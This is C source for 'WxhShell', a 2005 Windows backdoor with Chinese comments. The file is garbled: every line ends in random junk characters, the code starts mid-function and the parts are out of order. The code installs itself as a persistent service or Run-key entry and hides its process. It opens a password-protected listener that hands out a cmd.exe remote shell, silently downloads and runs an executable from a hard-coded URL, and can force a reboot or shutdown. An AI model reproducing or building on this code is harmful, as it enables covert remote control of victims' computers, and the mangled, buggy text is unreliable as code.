    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q@7l"8#[t  
    if(Boot(SHUTDOWN)) } /[_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U?JiVxE^  
    else { MRjH40" 2  
    closesocket(wsh); ||yXp2  
    ExitThread(0); aB=vu=hF  
    } 1d/NZJ9  
    break; Y||yzJdC  
    } j?Cr31  
  // 获取shell f#'8"ff*1  
  case 's': { 5ze`IY  
    CmdShell(wsh); rny@n^F  
    closesocket(wsh); }A^ 1q5  
    ExitThread(0); yJF 2  
    break; 8.*\+nH  
  } <sgZ3*,A  
  // 退出 ov?.:M  
  case 'x': { <Gn8B^~$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M4zX*&w.T  
    CloseIt(wsh); u(8_[/_B  
    break; 8FB\0LA!g  
    } t9?R/:B%  
  // 离开 }5fU7&jA;3  
  case 'q': { &=v/VRan[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'q{PtYr  
    closesocket(wsh); U(rr vNt:t  
    WSACleanup(); ]]\)=F`n77  
    exit(1); QN)/,=#  
    break; 70'} f  
        } 'dmp4VT3  
  } M3DxapG  
  } B.]qrS|  
B`g<Ge~  
  // 提示信息 &_< VZS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XD;15a  
} >E//pr)_Km  
  } K)yCrEZ  
k)N2 +/  
  return;  6'RZ  
} |HaU3E*R  
hg[l{)Q  
// shell模块句柄 03X<x|  
int CmdShell(SOCKET sock) gGtep*k  
{ PWf{aHsr  
STARTUPINFO si; K!IF?iell  
ZeroMemory(&si,sizeof(si)); ]I{qp~^#n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ft3N#!ubl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5en [)3E  
PROCESS_INFORMATION ProcessInfo; a<OCO0irJ  
char cmdline[]="cmd"; Z:\;R{D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J{nyo1A  
  return 0; jw:4fb  
} kWZ/ej  
p?dGZ2` [I  
// 自身启动模式 s`8M%ZLu  
int StartFromService(void) 7h9fQ&y  
{ 1R5\GKF6o  
typedef struct jjS{q,bo  
{ Hj5WJ{p.  
  DWORD ExitStatus; {Y3_I\H8{  
  DWORD PebBaseAddress; 68&6J's;  
  DWORD AffinityMask; !1a|5 xrn  
  DWORD BasePriority; EzD -1sJ  
  ULONG UniqueProcessId; jV,(P$ 5;  
  ULONG InheritedFromUniqueProcessId; z:ru68  
}   PROCESS_BASIC_INFORMATION; Y{Y;EY4  
>D`fp  
PROCNTQSIP NtQueryInformationProcess; 0j a  
h}anTFKP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jm#d7@~4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5`{|[J_[  
4pfix1F g  
  HANDLE             hProcess; AhbT/  
  PROCESS_BASIC_INFORMATION pbi; 1WUFk?p  
.yK\&q[<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'K;4102\  
  if(NULL == hInst ) return 0; 5oT2)yz  
F(KH-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F$6])F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A]tf>H#1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4,w{rmj  
}Ll3AR7\  
  if (!NtQueryInformationProcess) return 0; P xP?hk  
sl^s9kx;C$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }QWTPRn  
  if(!hProcess) return 0; 7/^TwNsv  
yNLa3mW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kbz7  
Y6;0khp  
  CloseHandle(hProcess); 7?Qt2tr  
(jo(bbpj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VJ6>3  
if(hProcess==NULL) return 0; G>q{~HE1  
/v bO/Mr  
HMODULE hMod; /8$1[[[  
char procName[255]; HjUw[Yz+6  
unsigned long cbNeeded; H%01&u  
[KimY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FQ9csUjpB  
WnJLX ^;  
  CloseHandle(hProcess); #>=/15:  
t5X^(@q4N  
if(strstr(procName,"services")) return 1; // 以服务启动 N}l]Ilm$34  
AG$-U2ap  
  return 0; // 注册表启动 D25gg  
} Ltic_cjYd?  
3|83Jnh  
// 主模块 4M0v1`k  
int StartWxhshell(LPSTR lpCmdLine) #a'x)$2;R|  
{ 2ucF( ^  
  SOCKET wsl; JIY ^N9_  
BOOL val=TRUE; Z '>eT)  
  int port=0; YW$x:  
  struct sockaddr_in door; %B {D  
X^ ^?}>t[  
  if(wscfg.ws_autoins) Install(); VI|DM x   
e}Af"LI  
port=atoi(lpCmdLine); #`vGg9  
!{]v='   
if(port<=0) port=wscfg.ws_port; "PX3%II  
a5U2[Ko80  
  WSADATA data; qT<qu(V:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H`6Jq?\  
d T,m{[+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |L_g/e1A3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S4:\`Lo-;  
  door.sin_family = AF_INET; t!=~5YgKs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dW^_tzfF7  
  door.sin_port = htons(port); dpGQ0EzH^  
ik:)-GV;s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lq $4.l[j  
closesocket(wsl); g*AD$":  
return 1; iJaNP%N  
} !,JT91  
Pl5NHVr  
  if(listen(wsl,2) == INVALID_SOCKET) { 1-]x  
closesocket(wsl); mKFHT  
return 1; W Pp\sIP  
} zc,9Qfn  
  Wxhshell(wsl); vzrD"  
  WSACleanup(); C(|T/rQ-  
5wFS.!xD  
return 0; _M]rH<h  
!lN a`  
} Y %D*O  
% K7EF_%  
// 以NT服务方式启动 rPGE-d3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d t0E0i  
{ s)DNLx  
DWORD   status = 0; gJFpEA {  
  DWORD   specificError = 0xfffffff; H.mQbD`X  
?eVuz x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D%Jc?6/I#3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -"dy z(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JHh9> .1  
  serviceStatus.dwWin32ExitCode     = 0; E0B2>V  
  serviceStatus.dwServiceSpecificExitCode = 0; 6p]R)K>wS  
  serviceStatus.dwCheckPoint       = 0; G8DIig<  
  serviceStatus.dwWaitHint       = 0; rKs WS~U  
-0IFPL8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nIKT w  
  if (hServiceStatusHandle==0) return; @NwM+^  
lGHu@(n<  
status = GetLastError(); /R$x-7t)^(  
  if (status!=NO_ERROR) VJtTbt;>  
{ T0"0/{5-_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M j%|'dZz  
    serviceStatus.dwCheckPoint       = 0; W]Tt8  
    serviceStatus.dwWaitHint       = 0; uZ?CVluP  
    serviceStatus.dwWin32ExitCode     = status; .,K?\WZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; `k%#0E*H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;OCI.S8  
    return; M "P  
  } ;Owu:}   
[T#a1!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DMZ aMY|  
  serviceStatus.dwCheckPoint       = 0; X*yp=qI  
  serviceStatus.dwWaitHint       = 0; U\ E{-7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _@;3$eB  
} =X5&au o  
eh/OCzWH  
// 处理NT服务事件,比如:启动、停止 18tQWI$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9Kx:^~}20o  
{ YYr&r.6  
switch(fdwControl) $D\l%y/C  
{ s /q5o@b{  
case SERVICE_CONTROL_STOP: U5$DJ5>8  
  serviceStatus.dwWin32ExitCode = 0; ~teW1lMu(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zXU{p\;)\  
  serviceStatus.dwCheckPoint   = 0; vFC=qLz:  
  serviceStatus.dwWaitHint     = 0; K 0H!Ds9  
  { {,2_K6#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VEKITBs  
  } Z?aR9OTP  
  return; +F&]BZ  
case SERVICE_CONTROL_PAUSE: 'nt,+`.y6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `v2l1CQ: ^  
  break; 3Wxtxk._E  
case SERVICE_CONTROL_CONTINUE: aDv/kFfn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #$B,8LFz,$  
  break; t% B!\]  
case SERVICE_CONTROL_INTERROGATE: ER0#$yFpM  
  break; W@C tFU9  
}; IX?%H!i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <FT\u{9$  
} FtDA k?  
>:E-^t%  
// 标准应用程序主函数 H{zuIN/.1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) % peb{i  
{ CHP6H}#|g  
arL&^]JnZ,  
// 获取操作系统版本 j|dzd<kE6  
OsIsNt=GetOsVer(); eaP$/U D?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =e{KtX.  
F+S#m3X  
  // 从命令行安装 0-f-  
  if(strpbrk(lpCmdLine,"iI")) Install(); nqJV1h  
"FvlZRfXj  
  // 下载执行文件 n(S-F g  
if(wscfg.ws_downexe) { me^Gk/`Em  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {5-{f=Rk  
  WinExec(wscfg.ws_filenam,SW_HIDE); *sVxjZvV  
} M= _CqK*  
P;pg+L.I  
if(!OsIsNt) { wGX"R5  
// 如果时win9x,隐藏进程并且设置为注册表启动 `.WKU"To  
HideProc(); mLA$ F4/K  
StartWxhshell(lpCmdLine); O G}&%NgH  
} 1V?)zp  
else $Ws2g*i  
  if(StartFromService()) 4 jro4B`  
  // 以服务方式启动 :''0z  
  StartServiceCtrlDispatcher(DispatchTable); W78-'c  
else L$Z_j()2  
  // 普通方式启动 H/{3 i  
  StartWxhshell(lpCmdLine); wuQkeWxJ  
5] %kWV>  
return 0; H`@7o8oj1  
} [~S0b  
IxR:a(  
[' 1?'*  
_nq n|  
=========================================== {v(|_j&:o  
8;3FTF  
42LV>X#i  
Fj4:_(%nG  
9z}kkYk  
s:P-F0q!&  
" k{62UaL.  
v8N1fuP}  
#include <stdio.h> rE~O}2a#H  
#include <string.h> H5)WxsZ R  
#include <windows.h> :+$_(* Z  
#include <winsock2.h> Y7HWf  
#include <winsvc.h> ]A[~2]  
#include <urlmon.h> enM 3  
H;`@SJBf  
#pragma comment (lib, "Ws2_32.lib") <o}t-Bgg  
#pragma comment (lib, "urlmon.lib") {S!~pn&^Y  
E)bP}:4V  
#define MAX_USER   100 // 最大客户端连接数 X3vrD{uNU  
#define BUF_SOCK   200 // sock buffer lom4z\6  
#define KEY_BUFF   255 // 输入 buffer _qfdk@@g  
GEgf_C!%@  
#define REBOOT     0   // 重启 $MHc4FE[  
#define SHUTDOWN   1   // 关机 o? =u#=  
`SWK(='  
#define DEF_PORT   5000 // 监听端口 oT w1w  
2J$Uz,@  
#define REG_LEN     16   // 注册表键长度 RIlPH~  
#define SVC_LEN     80   // NT服务名长度 i7_BnJJX{B  
'1aOdEZA*  
// 从dll定义API r&w>+KIt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @M-bE=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;(A'XA4 6N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v{+*/NQ_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LT!4pD:a  
q4E{?  
// wxhshell配置信息 F-t-d1w6  
struct WSCFG { :iJ= 9  
  int ws_port;         // 监听端口 zKZ6Qjd8!  
  char ws_passstr[REG_LEN]; // 口令 SVJ3!1B,  
  int ws_autoins;       // 安装标记, 1=yes 0=no @eul~%B{X  
  char ws_regname[REG_LEN]; // 注册表键名 ;J<kG@  
  char ws_svcname[REG_LEN]; // 服务名 59LIK&w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ) Ez=#dIq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4V=dD<3m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,}<v:!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lVt gg?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _\"?:~rUN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $W)FpN;CW/  
r\yj$Gu>(  
}; 6sntwT"?  
.w`8_v&Y  
// default Wxhshell configuration #nnP.t m  
struct WSCFG wscfg={DEF_PORT, rv^j&X+EH  
    "xuhuanlingzhe", yRAb HG,c  
    1, ~k&b3-A}  
    "Wxhshell", ,]+6kf5  
    "Wxhshell", I6UZ_H'E  
            "WxhShell Service", c~cYNW:  
    "Wrsky Windows CmdShell Service", -y~JNDS1]  
    "Please Input Your Password: ", ks! G \<I  
  1, \K?3LtJ  
  "http://www.wrsky.com/wxhshell.exe", PR Y)hb;1  
  "Wxhshell.exe" ]wP)!UZ  
    }; K[sfsWQ.  
U7Ps2~x3  
// 消息定义模块 -.xs=NwB.|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pNDL:vMWP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |*!I(wm2i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #<)u%)`  
char *msg_ws_ext="\n\rExit."; o rEo$e<  
char *msg_ws_end="\n\rQuit."; >%xJ e'  
char *msg_ws_boot="\n\rReboot..."; G.9?ApG9  
char *msg_ws_poff="\n\rShutdown..."; H4)){\  
char *msg_ws_down="\n\rSave to "; DS^PHk39  
<^M`U>   
char *msg_ws_err="\n\rErr!"; {BgGG@e  
char *msg_ws_ok="\n\rOK!"; &a O3N  
{>Zc#U'  
char ExeFile[MAX_PATH]; ?QZ\KY  
int nUser = 0; CfAX,f"ZP  
HANDLE handles[MAX_USER]; Hl]3F^{  
int OsIsNt; @>JO &,od  
!\CoJ.5=  
SERVICE_STATUS       serviceStatus; N[czraFBD}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]XU?Wg  
R}BHRmSQ  
// 函数声明 0F)Y[{h<  
int Install(void); S=2-<R  
int Uninstall(void); Qu!Lc:oM?  
int DownloadFile(char *sURL, SOCKET wsh); 0IxXhu6v  
int Boot(int flag); |0dmdrKD  
void HideProc(void); $TWt[  
int GetOsVer(void); x?T/=C  
int Wxhshell(SOCKET wsl); ]7Tjt A.\q  
void TalkWithClient(void *cs); nxCwg>  
int CmdShell(SOCKET sock); nRJcYl~ Y  
int StartFromService(void); 90&ld:97  
int StartWxhshell(LPSTR lpCmdLine); ]k5l]JB  
5nQ*%u\$Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hQvSh\p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7$k[cL1  
6;k#|-GU&  
// 数据结构和表定义 l}># p'$  
SERVICE_TABLE_ENTRY DispatchTable[] = YeK PoW  
{ #O* ytZ  
{wscfg.ws_svcname, NTServiceMain}, Ag^Cb'3X  
{NULL, NULL} /X {:~*.z  
}; $xJVUV  
~Qeyh^wo  
// 自我安装 9=89)TrY  
int Install(void) TIYI\/a\;  
{ "JT R5;`w  
  char svExeFile[MAX_PATH]; #/\5a;Elc  
  HKEY key; xQ=[0!p+  
  strcpy(svExeFile,ExeFile); ^W{+?q'  
x!"S`AM  
// 如果是win9x系统,修改注册表设为自启动 :Em[> XA  
if(!OsIsNt) { "z8L}IC!e5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i!@L`h!rw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); icOh/G=N;  
  RegCloseKey(key); K\v1o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 18jI6$DY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1-!u=]JDE  
  RegCloseKey(key); > r6`bh [4  
  return 0; |f# ~#Y2v  
    } HZ* <BjE:"  
  } <E[X-S%&  
} ,Y6Me+5B  
else { .gh3"  
TL lR"L5  
// 如果是NT以上系统,安装为系统服务 n$i}r\ so  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -$yNJ5F`  
if (schSCManager!=0) 96x0'IsaG  
{ 7+QD=j-  
  SC_HANDLE schService = CreateService uU=O0?'zq  
  (  BR;f!  
  schSCManager, t&MJSFkiA  
  wscfg.ws_svcname, ;& ny< gQ  
  wscfg.ws_svcdisp, WB<_AIt+  
  SERVICE_ALL_ACCESS, )>abB?RZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :f<3`x'  
  SERVICE_AUTO_START, ~vgm; O  
  SERVICE_ERROR_NORMAL, Q{F*%X  
  svExeFile,  *(5y;1KU  
  NULL, k\rzvo=U  
  NULL, xFvDKW)_X7  
  NULL, !c,=%4Pb  
  NULL, J-yj&2  
  NULL 5RD\XgyN]  
  ); c~bi ~ f  
  if (schService!=0) |d =1|C%,  
  { /<,LM8n  
  CloseServiceHandle(schService); r^3/Ltd5/  
  CloseServiceHandle(schSCManager); No#1Ikw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c]3% wL  
  strcat(svExeFile,wscfg.ws_svcname); 0]%0wbY1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RQiGKz5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z=C'qF`  
  RegCloseKey(key); *;b.x"  
  return 0; m!{Xuy  
    } r:Uqtqxh  
  } C":i56  
  CloseServiceHandle(schSCManager); A<-Prvryt  
} H 6 i4>U*  
} k/[*Wz$W  
g_'F(An  
return 1; ;{'{*g[  
} w;@DcX$]  
{v{qPYNyh  
// 自我卸载 {KkP"j'7h  
int Uninstall(void) ti6\~SY  
{ ?z,^QjQ}  
  HKEY key; .<ux Z  
;\~{79c  
if(!OsIsNt) { A0Z<1|6r*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9gFb=&1k  
  RegDeleteValue(key,wscfg.ws_regname); f44b=,Lry5  
  RegCloseKey(key); /O@'XWW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [>+}2-#  
  RegDeleteValue(key,wscfg.ws_regname); ND);7  
  RegCloseKey(key); 29eg.E  
  return 0; {|)u).n|  
  } =~;SUO  
} z@@w?>*  
} ch2Qk8  
else { NR3]MGBKv  
7+^9"k7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nT UKA  
if (schSCManager!=0) `>M;f%s  
{ !YUMAp/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -"*UICd  
  if (schService!=0) )na 8a!  
  { #'"zyidu  
  if(DeleteService(schService)!=0) { N^i<A2'6S;  
  CloseServiceHandle(schService); m$glRs @  
  CloseServiceHandle(schSCManager); 8)I,WWj  
  return 0; w.s-T.5.j  
  } a`SQcNBf*  
  CloseServiceHandle(schService); T(UdV]~]"  
  } I_vPGafMx  
  CloseServiceHandle(schSCManager); M9mC\Iz[  
} 9OIX5$,S;  
} <PBrW#:'  
"YIrqk  
return 1; P bR6>'  
} Vs>/q:I  
w h4WII  
// 从指定url下载文件 45cMG~]p  
int DownloadFile(char *sURL, SOCKET wsh) *e E&ptx1  
{ AiUICf?{  
  HRESULT hr; !'-K>.B  
char seps[]= "/"; JzhbuWwF-  
char *token; uXxc2}  
char *file; o_un=ygU  
char myURL[MAX_PATH]; B~p` 3rC  
char myFILE[MAX_PATH]; JE~ci#|!  
`Qzga}`"]  
strcpy(myURL,sURL); ^:JZ.r  
  token=strtok(myURL,seps); PFP/Pe Ng;  
  while(token!=NULL) RS`]>K3t  
  { aBV{Xr~#(  
    file=token; CuE>=y- "I  
  token=strtok(NULL,seps); GyE-fB4C  
  } JXR_klx  
99T_y`df  
GetCurrentDirectory(MAX_PATH,myFILE);  ;d"F'd  
strcat(myFILE, "\\"); .gPE Qc+D  
strcat(myFILE, file); ?sb Ob  
  send(wsh,myFILE,strlen(myFILE),0); 9Q 4m9}  
send(wsh,"...",3,0); 8FY.u{93  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zu6Y*{$>g  
  if(hr==S_OK) h> K~<BAz'  
return 0; fV[(s7vW  
else j(j o8  
return 1; 2i+'?.P  
vR m.# +Td  
} UL0%oJ#  
#&+0hS  
// 系统电源模块 _c}@Fi+E  
int Boot(int flag) AF5$U8jf  
{ k(Z+(Y'{q~  
  HANDLE hToken; y( M-   
  TOKEN_PRIVILEGES tkp; WBS~e  
xA;o3Or  
  if(OsIsNt) { LqnN5l@ _B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B~HA 32  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >h3r\r\n3  
    tkp.PrivilegeCount = 1; oiP8~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L(tA~Z"k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2mVcT3  
if(flag==REBOOT) { 3`@alhD'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J(*QtF  
  return 0; >t2E034_  
} [n/'JeG5  
else { ZKKz?reM'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e %VJ:Dj  
  return 0;  |*079v  
} ` aTkIo:ms  
  } fm2,Mx6  
  else { X#9}|rT56  
if(flag==REBOOT) { jg8j>" Vj>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $YvT* T$_  
  return 0; 41luFtE9  
} YDBQ6X  
else { +RexQE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %OWLM  
  return 0;  j I  
} {~DYf*RZ  
} $Xf1|!W%a%  
5p6Kq=jhb  
return 1; )/FB73!  
} c)8V^7=Q  
JpN]j`  
// win9x进程隐藏模块 iq$edq[  
void HideProc(void) |B&KT  
{ 2 g"_ *[  
0'!v-`.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); usiv`.  
  if ( hKernel != NULL ) |fdr\t#'~  
  { y3T- ^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WjZJQK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;\7TQ9z  
    FreeLibrary(hKernel); 4,L(  
  } %Kd&A*  
U,"lOG'  
return; grEmp9Q ?  
} 96;17h$  
v(^{ P  
// 获取操作系统版本 Ms5m.lX  
int GetOsVer(void) 87%t=X  
{ Q\G8R^9j p  
  OSVERSIONINFO winfo; q q}EXq^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "sF&WuW|  
  GetVersionEx(&winfo); \3dM A_5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kx9Cx 5B  
  return 1; D+{h@^C9Z  
  else lJ@2N$w  
  return 0; QC0^G,9.  
} ]Po9a4w#  
e#Jx|Ej=  
// 客户端句柄模块 I@P[}XS  
int Wxhshell(SOCKET wsl) E> Ukxi1  
{ m`C(y$8fU  
  SOCKET wsh; G1M}g8 ]h  
  struct sockaddr_in client; NGB%fJ  
  DWORD myID; GL&ri!,  
x.ZV<tDi7  
  while(nUser<MAX_USER) :~loy'  
{ %? +A.0]E  
  int nSize=sizeof(client); M= !Fb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LFy5tX#  
  if(wsh==INVALID_SOCKET) return 1; P8!Vcy938  
FT73P0!8.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ghd~p@4  
if(handles[nUser]==0) Acr\2!))  
  closesocket(wsh); 9F)v=  
else \1D~4Gz6}  
  nUser++; =]E(iR_&  
  } Z@&_ T3M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NylN-X7[#  
@PuJre4!;L  
  return 0; p3I{  
} t/WauY2JUC  
 ])}{GW  
// 关闭 socket ]O',Ei^  
void CloseIt(SOCKET wsh) 7a0ZI  
{ t,= ta{ a  
closesocket(wsh); kH d_q.  
nUser--; 'p-jMD}O  
ExitThread(0); `,H\j?  
} w=d#y )1  
mbv\Gn#>  
// 客户端请求句柄 X;flA*6V  
void TalkWithClient(void *cs) ,WA7Kp9  
{ M_+&XLnzsJ  
Lx,"jA/  
  SOCKET wsh=(SOCKET)cs; 0F=UZf&  
  char pwd[SVC_LEN]; G/_#zIN`8M  
  char cmd[KEY_BUFF]; }!\NdQs  
char chr[1]; k(<5tvd  
int i,j; {"!V&}  
D|Wekhm  
  while (nUser < MAX_USER) { Htl6Mr*{  
epj]n=/}[  
if(wscfg.ws_passstr) { G U~?S'{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gnp,~F"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *D #H-]9  
  //ZeroMemory(pwd,KEY_BUFF); P 482D)  
      i=0; Tk $rwTCl  
  while(i<SVC_LEN) { 9_ JK.  
!1+L0,I6  
  // 设置超时 [Ua4{3#  
  fd_set FdRead; &}32X-~y  
  struct timeval TimeOut; PKT0Drv}c7  
  FD_ZERO(&FdRead); ?|TVz!3  
  FD_SET(wsh,&FdRead); FMhwk"4L  
  TimeOut.tv_sec=8; &tw.]3  
  TimeOut.tv_usec=0; Ttn=VX{ \  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [%;LZZgl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \2-!%i,  
'IP'g,o++  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yk!,{Q?<$  
  pwd=chr[0]; <%hSBDG!x  
  if(chr[0]==0xd || chr[0]==0xa) { pD##lkJr  
  pwd=0; j/3827jw=  
  break;  LD: w wH  
  } R!W!8rr3  
  i++;  rmUT l  
    } ] M "{=z  
?'CIt5n+\{  
  // 如果是非法用户,关闭 socket pA"x4\s   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |4YDvDEJi  
} DF%\ 1C>  
* gr{{c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?;,s=2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hEsCOcEG  
YZ:YYcr  
while(1) { r1EccY  
gR.zL>=_5e  
  ZeroMemory(cmd,KEY_BUFF); t9&)9,my  
\MsAdYR  
      // 自动支持客户端 telnet标准   .oH0yNFX  
  j=0; u@}((V  
  while(j<KEY_BUFF) { T=:O(R1*0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b=:AFs{  
  cmd[j]=chr[0]; N/DcaHFYo  
  if(chr[0]==0xa || chr[0]==0xd) { yJWgz`/L  
  cmd[j]=0; 15r,_Gp8  
  break; hdW",Bf'  
  } }+#-\a2  
  j++; qg:R+`z  
    } *GbC`X)  
# ,u7lAz  
  // 下载文件 Y"D'|i  
  if(strstr(cmd,"http://")) { +8."z"i3lE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;{ XKZ}  
  if(DownloadFile(cmd,wsh)) =`xk|86f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iN0pYqY*  
  else ?}m/Q"!1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WfBA5  
  } :1q+[T/ @  
  else { M<r' j $g  
Zn1+} Z@I  
    switch(cmd[0]) { ~KD x  
